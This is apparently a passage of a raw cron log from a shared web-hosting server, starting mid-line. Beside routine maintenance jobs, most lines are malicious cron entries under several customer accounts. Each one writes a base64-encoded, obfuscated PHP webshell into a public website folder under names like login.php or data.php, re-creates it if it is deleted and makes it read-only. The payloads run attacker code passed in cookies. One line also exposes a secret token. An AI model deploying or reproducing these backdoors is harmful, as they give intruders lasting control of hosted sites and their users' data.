"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:04:02 medusa CROND[23943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:04:02 medusa CROND[23946]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:04:02 medusa CROND[23948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:04:02 medusa CROND[23950]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:04:02 medusa CROND[23951]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:04:02 medusa CROND[23952]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:04:02 medusa CROND[23953]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:04:02 medusa CROND[23954]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:04:02 medusa CROND[23955]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:04:02 medusa CROND[23942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:04:02 medusa CROND[23956]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:05:01 medusa CROND[15181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:05:01 medusa CROND[15202]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:05:02 medusa CROND[15302]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:05:02 medusa CROND[15303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:05:02 medusa CROND[15305]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:05:02 medusa CROND[15307]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:05:02 medusa CROND[15306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:05:02 medusa CROND[15304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:05:02 medusa CROND[15308]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15313]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15315]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:05:02 medusa CROND[15318]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:05:02 medusa CROND[15323]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15319]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 09:05:02 medusa CROND[15333]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:05:02 medusa CROND[15329]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:05:02 medusa CROND[15334]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:05:02 medusa CROND[15339]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:05:02 medusa CROND[15346]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:05:02 medusa CROND[15338]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 09:05:02 medusa CROND[15312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:05:02 medusa CROND[15352]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:06:02 medusa CROND[6731]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:06:02 medusa CROND[6732]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:06:02 medusa CROND[6734]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:06:02 medusa CROND[6733]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:06:02 medusa CROND[6736]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:06:02 medusa CROND[6735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:06:02 medusa CROND[6739]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:06:02 medusa CROND[6737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:06:02 medusa CROND[6742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:06:02 medusa CROND[6743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
